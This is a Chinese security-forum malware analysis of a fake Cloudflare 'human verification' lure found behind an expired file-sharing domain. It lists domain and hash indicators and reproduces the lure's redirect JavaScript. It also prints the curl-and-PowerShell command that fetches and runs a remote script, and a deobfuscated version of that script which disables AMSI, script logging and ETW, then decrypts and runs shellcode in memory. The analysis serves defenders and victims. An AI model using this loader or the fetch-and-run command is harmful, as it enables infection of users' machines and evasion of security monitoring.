来源:https://www.52pojie.cn/thread-2135145-1-1.html
关联:https://huorong.cn/document/tech/vir_report/2082
受害:lccccccc
抄送:@火绒工程师
备注:PS脚本后加密载荷,内存执行
由于仅静态分析,无法完整转储
请有实机安全围栏的,双击并转储分享后续载荷
请卡巴用户,积极向卡巴进行本样本的漏杀反馈
受害者描述- 尝试下载某帖内的 ScreenWings 转载程序
- 下载地址是蓝奏云,结果打开后一路跳转到人机验证钓鱼
- 当时疏忽大意,不清醒就执行了恶意执行
- 求助大家,该如何杀毒,是否有害,怎么清理这个木马病毒
- (已去敏,3306 重新转储)
复制代码
参考图片
有效参考
域 名 lanzouo[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 济宁网众信息技术有限公司
邮 箱
省/州 山东
地 区 中国(CN)
许可号 鲁ICP备15001327号
通过日 2025-08-04
注册日 2020-07-19 02:12:30 UTC+8
过期日 2027-07-19 02:12:30 UTC+8
更新日 2026-06-23 17:42:17 UTC+8
IANA_ID 420
状 态 正常
解 析 ns1[.]dns[.]com
ns2[.]dns[.]com
DNSSEC 未配置
失效抢注
域 名 lanzous[.]com
注册商 Dynadot Inc
注册人
邮 箱
注册日 2022-05-11 02:31:05 UTC+8
过期日 2029-05-11 02:31:05 UTC+8
更新日 2024-10-20 04:56:49 UTC+8
IANA_ID 472
状 态 注册商禁止转移
禁止转移
解 析 ns1[.]parklogic[.]com
ns2[.]parklogic[.]com
DNSSEC 未配置
嵌套路由
域 名 parklogic[.]com
注册商 Dynadot Inc
注册人
邮 箱
注册日 2007-03-01 06:35:52 UTC+8
过期日 2031-03-01 06:35:52 UTC+8
更新日 2026-09-08 04:33:04 UTC+8
IANA_ID 472
状 态 注册商禁止转移
禁止转移
解 析 cartman[.]ns.cloudflare[.]com
gloria[.]ns.cloudflare[.]com
DNSSEC 未配置
恶意载荷(站群之一,未及时转储,解析已空)
域 名 superdudesjr[.]com
注册商 Dominet (HK) Limited
注册人
邮 箱
省/州 Sachsen
地 区 德国(DE)
注册日 2026-10-30 19:15:38 UTC+8
过期日 2027-10-30 19:15:38 UTC+8
更新日 2026-10-31 17:18:13 UTC+8
IANA_ID 3775
状 态 正常
解 析 ns1[.]eternitynames[.]net
ns2[.]eternitynames[.]net
ns3[.]eternitynames[.]net
ns4[.]eternitynames[.]net
DNSSEC 未配置
文件指纹
curl.bat(仅供参考,我本地另存)
大小: 198 字节
CRC32: 2AE9CF2D
XXH64: 74D69775936C0252
SHA256: 41379f6f76ae18430dcfc13d33a1f6d6bdf35510d8ff0d7d86e9e79290f80d31
SHA3-256: 4d96963df1c1de6cfd268c866ac24b2f361d2df4ddcbff2eec9d5f29db0e6306
P516.ps1(仅供参考,我本地另存)
大小: 7710 字节 : 7 KiB
CRC32: BB724933
XXH64: F7E6DE927BDF70A9
SHA256: 11376ce8ffbb347beac62d1cb375c81307aebc342d8d0c3a1957295a0781cad3
SHA3-256: 2d1c1d7643b8c0dbbff82cfe51468f022da54deac87e27ca364f96e7f5355197
281/P516.ps1(不固定,服务器动态生成)
大小: 7793 字节 : 7 KiB
CRC32: 7F231E06
XXH64: 17995DBC8E055F5B
SHA256: 867b696315ed36e184ba522066c7f3fc9dbd1b480264bc540b2c1158968686ef
SHA3-256: 93629d2db6063cdd87c3b19195692ed5149b59f89b620b3f081898583a0b07f0
ver.pa(不固定,服务器动态生成)
大小: 8225392 字节 : 8032 KiB
CRC32: DD028D51
XXH64: 262D0C5E78D96570
SHA256: c235f4940f5dea8cdc928604a47cab2771377762672a46146e3ce65e7ff151a7
SHA3-256: 43b8d244656a409e8d6359fb64b49926a18aa996672a8faa369f06607c0c7f4c
火绒扫描(我自己的本地扫描结果)
6.0.12.3 版本
10-31 19:01 病毒库
2026/10/31 22:11:52
2026/11/01 08:24:20
病毒防护
病毒查杀
自定义扫描(手动执行),发现0个风险项目
病毒库时间:2026-10-31 19:01
开始时间:2026-10-31 22:11
2026-11-01 08:24
执行类型:手动执行
扫描类型:自定义扫描
总计用时:00:00:01
扫描对象:2
5
扫描文件:2
5
发现风险:0
已处理风险:0
资源情况- 帖子地址
- 反录屏截图 ScreenWings
- 转载时间
- 2020-03-11 21:13
- 蓝奏入口
- /ia5n7bg
- 原定内容(根据该帖历史回复猜测)
- ScreenWings.rar
- 实际情况
- 2026-10-31
- 文件链接失效,请获取新链接
- 官方地址
- https://schiffer.tech/screenwings.html
- 官方下载
- 商业付费软件,官网目前暂无公开地址
- 历史指纹
- ScreenWings.exe
- 大小: 3707424 字节 : 3620 KiB
- CRC32: BD8317B2
- XXH64: 1EB1C06BD28AE60F
- SHA256: 26f537ecc93fa08ba1361334fffd2aca3208eba336a5ec036c5587db40700091
- SHA3-256: c7e7706ad40160cf439aa457f44c97c227e8ac366cbded418203f6d81061047b
- 历史属性
- Themida - Winlicense v3.0.0.0 - 3.2.4.0 - [ PACKED ] Oreans Technologies - www.oreans.com ,
- Overlay : 000000... Nothing detected
- FILEVERSION 2,14,1092,0
- PRODUCTVERSION 2,14,1092,0
- FILEFLAGSMASK 0x3F
- FILEFLAGS 0x0
- FILEOS VOS_UNKNOWN | VOS__WINDOWS32
- FILETYPE VFT_APP
- FILESUBTYPE 0x0
- {
- BLOCK "VarFileInfo"
- {
- VALUE "Translation", 0x0, 1200
- }
- BLOCK "StringFileInfo"
- {
- BLOCK "000004b0"
- {
- VALUE "Comments", ""
- VALUE "CompanyName", "Hendrik Schiffer"
- VALUE "FileDescription", "ScreenWings"
- VALUE "FileVersion", "2.14.1092"
- VALUE "InternalName", "ScreenWings.exe"
- VALUE "LegalCopyright", "Copyright © Hendrik Schiffer 2016-2020"
- VALUE "LegalTrademarks", ""
- VALUE "OriginalFilename", "ScreenWings.exe"
- VALUE "ProductName", "ScreenWings"
- VALUE "ProductVersion", "2.14.1092"
- VALUE "Assembly Version", "2.14.1092.0"
- }
- }
- }
- 数字签名
- Hendrik Schiffer
- contact@schiffer.tech
- Sectigo RSA Code Signing CA 签发
- 2020-02-28 02:21:49,SHA 1 摘要算法
- 证书序列号:00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b
- Hendrik Schiffer
- contact@schiffer.tech
- Sectigo RSA Code Signing CA 签发
- 2020-02-28 02:21:52,SHA 256 摘要算法
- 证书序列号:00 ce 2f 12 3c 14 2c 8b da 9a b6 43 72 ac fc 20 3b
复制代码 内联脚本- (() => {
- "use strict";
- const e = "offset",
- t = "client",
- o = function () {};
- let n = !1,
- r = !1;
- const i = {
- loopDelay: 50,
- maxLoop: 5,
- complete: o,
- },
- a = [];
- let s = null;
- const l = {
- cssClass:
- "ad-overlay google-ad-bottom-outer prebid-wrapper .dfp-ad-container",
- },
- u = {
- nullProps: [e + "Parent"],
- zeroProps: [],
- };
- u.zeroProps = [
- e + "Height",
- e + "Left",
- e + "Top",
- e + "Width",
- e + "Height",
- t + "Height",
- t + "Width",
- ];
- const c = {
- quick: null,
- remote: null,
- };
- let d = null;
- const p = {
- test: 0,
- download: 0,
- };
- function f(e) {
- return "function" == typeof e;
- }
- function m(e) {
- !0 !== d &&
- ((r = !0),
- y(e),
- (c.quick = "testing"),
- (p.test = setTimeout(function () {
- h(e, 1);
- }, 5)));
- }
- function y(e) {
- let t,
- o,
- n = document.body,
- r =
- "width: 1px !important; height: 1px !important; position: absolute !important; left: -10000px !important; top: -1000px !important;";
- if (null != e && "string" != typeof e) {
- for (
- null != e.style && (r += e.style),
- s = (function (e, t) {
- let o,
- n,
- r = t;
- if (((n = document.createElement(e)), r))
- for (o in r) r.hasOwnProperty(o) && n.setAttribute(o, r[o]);
- return n;
- })("div", {
- class: e.cssClass,
- style: r,
- }),
- n.appendChild(s),
- t = 0;
- t < u.nullProps.length;
- t++
- )
- o = s[u.nullProps[t]];
- for (t = 0; t < u.zeroProps.length; t++) o = s[u.zeroProps[t]];
- }
- }
- function h(e, t) {
- const o = document.body;
- let c = !1;
- if ((null == s && y(e || l), "string" != typeof e)) {
- (p.test > 0 && (clearTimeout(p.test), (p.test = 0)),
- null !== o.getAttribute("abp") && (c = !0));
- for (let e = 0; e < u.nullProps.length; e++) {
- if (null == s[u.nullProps[e]]) {
- t > 4 && (c = !0);
- break;
- }
- if (!0 === c) break;
- }
- for (let e = 0; e < u.zeroProps.length && !0 !== c; e++)
- 0 === s[u.zeroProps[e]] && t > 4 && (c = !0);
- if (void 0 !== window.getComputedStyle) {
- const e = window.getComputedStyle(s, null);
- ("none" !== e.getPropertyValue("display") &&
- "hidden" !== e.getPropertyValue("visibility")) ||
- (t > 4 && (c = !0));
- }
- ((n = !0),
- c || t++ >= i.maxLoop
- ? ((d = c),
- (function () {
- let e, t;
- if (null === d) return;
- for (e = 0; e < a.length; e++) {
- t = a[e];
- try {
- null != t && f(t["complete"]) && t["complete"](d);
- } catch (e) {
- return;
- }
- }
- })(),
- g() &&
- setTimeout(function () {
- r = !1;
- }, 5))
- : (p.test = setTimeout(function () {
- h(e, t);
- }, i.loopDelay)));
- } else
- g() &&
- setTimeout(function () {
- r = !1;
- }, 5);
- }
- function g() {
- if (null === s) return !0;
- try {
- (f(s.remove) && s.remove(), document.body.removeChild(s));
- } catch (e) {}
- return ((s = null), !0);
- }
- var w = function (e) {
- if (!e) return;
- const t = {
- complete: o,
- found: o,
- notfound: o,
- };
- let n;
- for (n in e)
- e.hasOwnProperty(n) &&
- ("complete" === n || "found" === n || "notFound" === n
- ? (t[n.toLowerCase()] = e[n])
- : (i[n] = e[n]));
- (a.push(t),
- (function () {
- let e,
- t = !1;
- (document.readyState && "complete" === document.readyState && (t = !0),
- (e = function () {
- m(l);
- }),
- t ? e() : window.addEventListener("load", e));
- })());
- };
- function b() {
- (document.write(
- `<a id="Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O" href="/.IGV0hOcNusVJOgqoD1HuWTk0PssdueKB"></a>`,
- ),
- document.getElementById("Lf5Bwk4VUwckRGlsodUE1cfaRyQBxT1O").click());
- }
- function v(e) {
- return `${e}`;
- }
- async function P(e) {
- const t = await (async function (e, t) {
- const o = Uint8Array.from(atob(e), (e) => e.charCodeAt(0)),
- n = JSON.parse(new TextDecoder().decode(o));
- return (
- (n.parameters.adBlockingDetected = t),
- (n.parameters.isIframe = window.self !== window.top),
- (n.parameters.refererBrowser = document.referrer),
- (n.parameters.timezoneBrowser =
- Intl.DateTimeFormat().resolvedOptions().timeZone),
- (n.parameters.timezoneOffset = new Date().getTimezoneOffset()),
- (n.parameters.webdriver = navigator.webdriver),
- (n.parameters.gpu = await (async function () {
- if (!navigator.gpu) return null;
- const e = await navigator.gpu.requestAdapter();
- if (!e) return null;
- if (e.info && e.info.vendor) return e.info.vendor;
- if (e.requestAdapterInfo) {
- const t = await e.requestAdapterInfo();
- return t.vendor ? t.vendor : null;
- }
- return null;
- })()),
- JSON.stringify(n)
- );
- })(
- "eyJw ..... J9fQ==",
- e,
- );
- (async function (e, t) {
- const o = new XMLHttpRequest();
- ((o.onreadystatechange = _), o.open("POST", e, !0), o.send(t));
- })("https://router[.]parklogic[.]com/ia5n7bg", t).then();
- }
- function T(e) {
- ((document.body.innerHTML = e),
- document.body.querySelectorAll("script").forEach((e) => {
- const t = document.createElement("script");
- for (const o of e.attributes) t.setAttribute(o.name, o.value);
- ((t.innerHTML = e.innerHTML), e.parentNode.replaceChild(t, e));
- }));
- }
- function _() {
- var e;
- 4 === this.readyState &&
- (200 !== this.status &&
- console.error(
- `failed to contact router, status code: ${this.status} "${this.statusText}"`,
- ),
- this.responseText.startsWith("http")
- ? ((e = this.responseText),
- "true" === v("")
- ? ((document.cookie = `m6RW96QaECHb2mXiRi7YQBqlkYuoZc7A=${btoa(e)};max-age=5`),
- b())
- : window.location.replace(e))
- : T(this.responseText));
- }
- "true" === v("true")
- ? w({
- complete: (e) => {
- e
- ? "true" === v("")
- ? ((document.cookie =
- "Nsj7rdlN8X5lOGh3PoZezs9aS9Eqq3VK=1;max-age=5"),
- "true" === v("") ? b() : location.reload())
- : P(!0)
- : P(!1);
- },
- })
- : P();
- })();
复制代码 载荷参考- POST
- https://router[.]parklogic[.]com/ia5n7bg
- JSON.stringify(n)
- );
- })(
- "eyJw ..... J9fQ==", <<<取自此处,Base64 编码,内容为下方压缩
- e,
- );
- {
- "parameters": {
- "uuid": "064bf29af417ca2120f90bb7687b6e89",
- "regionName": "",
- "continentName": "Asia",
- "city": "",
- "timezoneGeo": "Asia/Shanghai",
- "continent": "AS",
- "path": "/ia5n7bg",
- "domainApex": "lanzous[.]com",
- "tenant": "generic",
- "country": "CN",
- "domainFull": "www[.]lanzous[.]com",
- "ipOrig": "127[.]0[.]0[.]1",
- "countryName": "China",
- "referrer": "https://www[.]lanzous[.]com/ia5n7bg",
- "protocol": "https",
- "region": "",
- "adBlockingDetected": true,
- "isIframe": false,
- "refererBrowser": "https://www[.]lanzous[.]com/ia5n7bg",
- "timezoneBrowser": "Asia/Shanghai",
- "timezoneOffset": -480,
- "webdriver": false,
- "gpu": "nvidia"
- }
- }
复制代码 响应参考- 随机路由分配地址,每次
- 并不固定,很难原路复现
- 本次参考为(与人机验证钓鱼无关)
- https://greenbites[.]net/r/qeSu ..... Z1p4(https 至 Z1p4 字符总长约 1220)
复制代码 钓鱼诱导- CLOUDFLARE
- Human Verification
- Complete the steps Detow
- perform the steps on your keyboard
- Win+R
- Type cmd in the input box and press Enter
- Ctrl+V
- Enter
复制代码 执行命令- cmd /c
- curl.exe
- -fsL
- --ssl-no-revoke
- --retry 8
- --retry-connrefused
- --retry-delay 1
- --connect-timeout 20
- -o "%TEMP%\P516.ps1"
- 1319076862/281
- &&
- powershell
- -w h
- -nop
- -ep bypass
- -File "%TEMP%\P516.ps1"
复制代码 恶意载荷- 1319076862/281
- http://78[.]159[.]131[.]254/281
复制代码 通讯参考- * Trying 78[.]159[.]131[.]254:80...
- * Established connection to 78[.]159[.]131[.]254 (78[.]159[.]131[.]254 port 80) from port 61587
- * using HTTP/1.x
- > GET /281 HTTP/1.1
- > Host: 78[.]159[.]131[.]254
- > User-Agent: curl/8.23.0
- > Accept: */*
- >
- * Request completely sent off
- < HTTP/1.1 200 OK
- < Server: nginx
- < Date: Sat, 31 Oct 2026 23:59:44 GMT
- < Content-Type: application/octet-stream
- < Content-Length: 7726
- < Last-Modified: Sat, 31 Oct 2026 17:06:47 GMT
- < Connection: keep-alive
- < ETag: "6ae62027-1e2e"
- < Accept-Ranges: bytes
- <
- $ptKSnRHP = ''; .....
复制代码 释放文件动态运算- # ===== 1. 还原 AMSI 相关类型名:System.Management.Automation.AmsiUtils =====
- $giKovsDymxFqLh = ''
- $fmppNVgZQSNx = @(
- -2337672, ..... ,-2337640
- )
- $giKovsDymxFqLh = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $giKovsDymxFqLh += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2337755)
- }
- # ===== 2. 还原字段名:amsiContext =====
- $fmppNVgZQSNx = @(
- -2351186, ..... ,-2351167
- )
- $Thlco = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $Thlco += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2351283)
- }
- $YMlFoQtmLbHnWx = [psobject].Assembly.GetType($giKovsDymxFqLh)
- $CyZoqesinvz = $YMlFoQtmLbHnWx.GetField($Thlco, 40)
- $CyZoqesinvz.SetValue($MNQlP, [IntPtr]::Zero)
- # ===== 3. 还原 ScriptBlock 类型与 signatures 字段 =====
- $fmppNVgZQSNx = @(
- -1498542, ..... ,-1498518
- )
- $KiIYZGfZ = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $KiIYZGfZ += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1498625)
- }
- $fmppNVgZQSNx = @(
- -1330227, ..... ,-1330227
- )
- $AmPNjWAhwI = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $AmPNjWAhwI += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1330342)
- }
- $bAkhuh = [psobject].Assembly.GetType($KiIYZGfZ)
- $arbEuGwMQPSPw = $bAkhuh.GetField($AmPNjWAhwI, 40)
- $udvbgZiYX = $arbEuGwMQPSPw.GetValue($MNQlP)
- $udvbgZiYX.Clear()
- # ===== 4. 还原 ETW 相关类型与字段:PSEtwLogProvider.etwProvider.m_enabled =====
- $fmppNVgZQSNx = @(
- -1943415, ..... ,-1943384
- )
- $DPeRDoXl = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $DPeRDoXl += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 1943498)
- }
- $fmppNVgZQSNx = @(
- -2128999, ..... ,-2129008
- )
- $FbnXfBOM = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $FbnXfBOM += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2129108)
- }
- $fmppNVgZQSNx = @(
- -2037191, ..... ,-2037178
- )
- $ZdugG = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $ZdugG += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2037292)
- }
- $TMStxJHqIm = [psobject].Assembly.GetType($DPeRDoXl)
- $IlDRmOTTdTQuKNq = $TMStxJHqIm.GetField($ZdugG, 40)
- $BCEztfxma = $IlDRmOTTdTQuKNq.GetValue($MNQlP)
- $m_enabledProp = $BCEztfxma.GetType().GetField($FbnXfBOM, 36)
- $m_enabledProp.SetValue($BCEztfxma, 0)
- # ===== 5. 动态程序集 + P/Invoke 声明 =====
- $mhJlAjbKqYmIHKO = New-Object Reflection.AssemblyName('C73955')
- $iEqkStDlcld = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
- $mhJlAjbKqYmIHKO,
- [Reflection.Emit.AssemblyBuilderAccess]::Run
- )
- $dTjQKhc = $iEqkStDlcld.DefineDynamicModule('F14566')
- $diQiVbqUAo = $dTjQKhc.DefineType(
- 'G78255',
- [Reflection.TypeAttributes]'Public,BeforeFieldInit'
- )
- $QzHVKfOhXGxacN = [Reflection.MethodAttributes]'Public,Static'
- $TWFFS = [Reflection.CallingConventions]::Standard
- $eOtOpLKiaNCkAJ = [Runtime.InteropServices.CallingConvention]::Winapi
- $jpozZY = [Runtime.InteropServices.CharSet]::Auto
- $wjzHYwTrgeay = [Runtime.InteropServices.CharSet]::Unicode
- $sPqJReFYNhFZ = [Runtime.InteropServices.CharSet]::Ansi
- function DefineImportFunc(
- $XOJPgCUysoSj,
- .....
- $TWXttLtoztOEwU
- ) {
- $diQiVbqUAo = $diQiVbqUAo.DefinePInvokeMethod(
- $XOJPgCUysoSj,
- .....
- $TWXttLtoztOEwU
- )
- $diQiVbqUAo.SetImplementationFlags(
- [Reflection.MethodImplAttributes]::PreserveSig
- )
- }
- DefineImportFunc 'VirtualAlloc' 'kernel32.dll' ([IntPtr]) ([type[]]@(
- [IntPtr],
- [UIntPtr],
- [uint32],
- [uint32]
- )) $jpozZY
- DefineImportFunc 'VirtualProtect' 'kernel32.dll' ([bool]) ([type[]]@(
- [IntPtr],
- [UIntPtr],
- [uint32],
- [uint32].MakeByRefType()
- )) $jpozZY
- DefineImportFunc 'CreateThread' 'kernel32.dll' ([IntPtr]) ([type[]]@(
- [IntPtr],
- [UIntPtr],
- [IntPtr],
- [IntPtr],
- [uint32],
- [uint32].MakeByRefType()
- )) $jpozZY
- DefineImportFunc 'LoadLibraryA' 'kernel32.dll' ([IntPtr]) ([type[]]@(
- [string]
- )) $sPqJReFYNhFZ
- DefineImportFunc 'GetProcAddress' 'kernel32.dll' ([IntPtr]) ([type[]]@(
- [IntPtr],
- [string]
- )) $sPqJReFYNhFZ
- $dftwqQxIlOLy = $diQiVbqUAo.CreateType()
- # ===== 6. 还原 User-Agent =====
- $fmppNVgZQSNx = @(
- -3297583, ..... ,-3297606
- )
- $nSAbiGZCqEH = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $nSAbiGZCqEH += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 3297660)
- }
- # ===== 7. 还原下载 URL:http://78[.]159[.]131[.]254/yrjrs/ver.pa =====
- $fmppNVgZQSNx = @(
- -2660095, ..... ,-2660102
- )
- $MAAFdo = ''
- for ($LNnYRbQ = 0; $LNnYRbQ -lt $fmppNVgZQSNx.Length; $LNnYRbQ++) {
- $MAAFdo += [char]([int64]$fmppNVgZQSNx[$LNnYRbQ] + 2660199)
- }
- # ===== 8. 下载加密载荷 =====
- $InCIIXjvHBs = New-Object System.Net.WebClient
- $InCIIXjvHBs.Headers.Add("User-Agent", $nSAbiGZCqEH)
- [byte[]]$xUdOZMu = $InCIIXjvHBs.DownloadData($MAAFdo)
- # ===== 9. AES-256-CBC 解密:前 16 字节为 IV,其余为密文 =====
- $JDeLHCU = [Convert]::FromBase64String(
- "x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4="
- )
- $nNARAjGgoxBhWAy = $xUdOZMu
- $qxxJE = [byte[]]::new(16)
- $FLAewGdDWjXMtjl = [byte[]]::new($nNARAjGgoxBhWAy.Length - 16)
- [Array]::Copy($nNARAjGgoxBhWAy, 0, $qxxJE, 0, 16)
- [Array]::Copy(
- $nNARAjGgoxBhWAy,
- 16,
- $FLAewGdDWjXMtjl,
- 0,
- $FLAewGdDWjXMtjl.Length
- )
- $TbbiToHYP = [System.Security.Cryptography.Aes]::Create()
- $TbbiToHYP.Key = $JDeLHCU
- $TbbiToHYP.IV = $qxxJE
- $TbbiToHYP.Mode = [System.Security.Cryptography.CipherMode]::CBC
- $TbbiToHYP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
- $rauEAzEG = $TbbiToHYP.CreateDecryptor()
- $UYQhcf = [System.IO.MemoryStream]::new($FLAewGdDWjXMtjl)
- $TWXttLtoztOEwU = [System.Security.Cryptography.CryptoStream]::new(
- $UYQhcf,
- $rauEAzEG,
- [System.Security.Cryptography.CryptoStreamMode]::Read
- )
- $dYAoK = [System.IO.MemoryStream]::new()
- $TWXttLtoztOEwU.CopyTo($dYAoK)
- # 最终 ShellCode 字节数组
- $xUdOZMu = $dYAoK.ToArray()
- $UfDlGgbpoqcr = $xUdOZMu.Length
- $dYAoK.Dispose()
- $TWXttLtoztOEwU.Dispose()
- $UYQhcf.Dispose()
- $rauEAzEG.Dispose()
- $TbbiToHYP.Dispose()
- # ===== 10. 内存分配、写入 ShellCode、改执行权限、创建线程 =====
- $mzmXuXOZ = $xUdOZMu
- $xcHJLOQz = 0
- $pr1740 = 0
- $cAKUpHUkTuE = $dftwqQxIlOLy::VirtualAlloc(
- [IntPtr]::Zero,
- [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
- [uint32]12288,
- [uint32]4
- )
- [Runtime.InteropServices.Marshal]::Copy(
- $mzmXuXOZ,
- 0,
- $cAKUpHUkTuE,
- $UfDlGgbpoqcr
- )
- [void]$dftwqQxIlOLy::VirtualProtect(
- $cAKUpHUkTuE,
- [UIntPtr]::new([uint64]$UfDlGgbpoqcr),
- [uint32]64,
- [ref]$xcHJLOQz
- )
- $ti3957 = [uint32]0
- [void]$dftwqQxIlOLy::CreateThread(
- [IntPtr]::Zero,
- [UIntPtr]::Zero,
- [IntPtr]::new($cAKUpHUkTuE.ToInt64()),
- [IntPtr]::Zero,
- [uint32]0,
- [ref]$ti3957
- )
- while ($true) {
- Start-Sleep -Seconds 30
- }
复制代码 加密载荷- http://78[.]159[.]131[.]254/yrjrs/ver.pa
复制代码 通讯参考- * Trying 78[.]159[.]131[.]254:80...
- * Established connection to 78[.]159[.]131[.]254 (78.159.131.254 port 80) from 10.0.2.3 port 61724
- * using HTTP/1.x
- > GET /yrjrs/ver.pa HTTP/1.1
- > Host: 78[.]159[.]131[.]254
- > User-Agent: curl/8.23.0
- > Accept: */*
- >
- * Request completely sent off
- < HTTP/1.1 200 OK
- < Server: nginx
- < Date: Sun, 01 Nov 2026 00:02:56 GMT
- < Content-Type: application/octet-stream
- < Content-Length: 8401008
- < Last-Modified: Sat, 31 Oct 2026 17:07:07 GMT
- < Connection: keep-alive
- < ETag: "6ae6203b-803070"
- < Accept-Ranges: bytes
- <
- 经过加密的 ShellCode
复制代码 释放文件解密还原- 前 16 字节作为 AES IV;
- 剩余字节作为 AES-CBC/PKCS7 密文;
- 使用硬编码 Base64 Key:x5foO/X3JDxqKLsUHMnqohEj023iNHQxzgxrY3xaQJ4=;
- 解密后得到 ShellCode 字节数组。
复制代码 内存执行- VirtualAlloc 分配可读写内存;
- Marshal.Copy 写入解密后的 ShellCode;
- VirtualProtect 改为 PAGE_EXECUTE_READWRITE,即 0x40;
- CreateThread 创建线程执行 ShellCode;
- while($true){Start-Sleep -Seconds 30} 保持进程存活。
复制代码 解析参考- {
- "tool": "dns",
- "query": "www[.]lanzous[.]com",
- "queryType": "ALL",
- "server": "162[.]4[.]84[.]45",
- "serverHost": "ns1[.]parklogic[.]com",
- "serverType": "authoritative",
- "transport": "tcp",
- "recursive": false,
- "dnssec": false,
- "subdomains": true,
- "requestId": "5209d304-8d3f-4fd6-969c-ad0edc6005a8",
- "timestamp": "2026-10-31T13:58:37.587Z",
- "elapsed": 153,
- "results": [
- {
- "type": "SOA",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "expire": 1209600,
- "hostmaster": "hostmaster[.]parklogic[.]com",
- "minttl": 300,
- "nsname": "ns1[.]parklogic[.]com",
- "refresh": 86400,
- "retry": 7200,
- "serial": 1
- },
- {
- "type": "NS",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "value": "ns1[.]parklogic[.]com"
- },
- {
- "type": "NS",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "value": "ns2[.]parklogic[.]com"
- },
- {
- "type": "A",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "address": "162[.]4[.]84[.]215"
- },
- {
- "type": "MX",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "exchange": "mx156[.]hostedmxserver[.]com",
- "priority": 10
- },
- {
- "type": "TXT",
- "name": "www[.]lanzous[.]com",
- "ttl": 300,
- "value": "v=spf1 -all"
- }
- ]
- }
复制代码- {
- "tool": "dns",
- "query": "superdudesjr[.]com",
- "queryType": "ALL",
- "server": "85[.]209[.]129[.]23",
- "serverHost": "ns1[.]eternitynames[.]net",
- "serverType": "authoritative",
- "transport": "tcp",
- "recursive": false,
- "dnssec": false,
- "subdomains": true,
- "requestId": "497f89ce-ed01-4e59-91b8-1bd9c0a348ec",
- "timestamp": "2026-10-31T17:58:07.844Z",
- "elapsed": 1453,
- "results": null
- }
复制代码
外壳入口
https://s.threatbook.com/report/url/048f654b01f17e8a2228c1588135538b
网页嵌套
https://s.threatbook.com/report/url/55ecc0d14529fe1326802328eac3d8c7
多级路由
https://s.threatbook.com/report/url/b51d87a44280639369ae63e64752e239
人机钓鱼
由于随机路由的关系,无法转储本次实际地址
恶意载荷
https://s.threatbook.com/report/url/27abbe7446cb71d9484fcb31ebef8919
站群之一
https://s.threatbook.com/report/url/fbe76866fc3ebdedfe53e37dd3cbbcee
加密载荷
https://s.threatbook.com/report/url/29d3ac9c1b21b0be704a91ec61712e87
初始样本
https://ata.360.net/report/883310033684480
https://virusscan.jotti.org/zh-CN/filescanjob/pps1smhghz
https://tix.qq.com/search/single?keyword=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://intelix.sophos.com/report/1e61a6c33d834434b32ac1262a2bd953/dynamic/file
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AaGSjE6imTITNisAbXbG
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3NzMxZHNmYXNkZmFzZGY=/
https://sandbox.dbappsecurity.com.cn/report/d159d837-c1e5-45a6-a7be-80472bbc3151/flat
https://fenxi.antiy.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://virus.cverc.org.cn/#/entirety/file/searchResult?hash=efeed8a4d0ed7ee9b98595aa9f5f0f65
https://metadefender.com/results/file/bzI2MTAzMVNFdXJjbjNYWnNKalRRTmN2NWhT_mdaas/overview
https://www.virscan.org/report/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://www.virustotal.com/gui/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://s.threatbook.com/report/file/6dc9c426e10a8970f408a380f1c482af35f1a7e5a0258f5659c90aa3f8a30685
https://sandbox.qianxin.com/tq/report/toNewReport.do?rid=d3e9769e769fbbefbcf0b5680d9769e2&sk=86851537
https://opentip.kaspersky.com/6DC9C426E10A8970F408A380F1C482AF35F1A7E5A0258F5659C90AA3F8A30685/results?tab=upload
https://ti.sangfor.com.cn/sandbox-report/ZWZlZWQ4YTRkMGVkN2VlOWI5ODU5NWFhOWY1ZjBmNjU=?system_type=win10_64&sandboxType=c
样本情况
https://ata.360.net/report/883330158430208
https://virusscan.jotti.org/zh-CN/filescanjob/fjiq4u19do
https://tix.qq.com/search/single?keyword=2c7ea70d4b95c471cf355bf5d37a67f3
https://intelix.sophos.com/report/0815f8ee5c774b8cbbbf4386cb0f7655/dynamic/file
https://www.maldun.com/analysis/YXNkZmRzZmFkc2YxNDg3OTY5ZHNmYXNkZmFzZGY=/
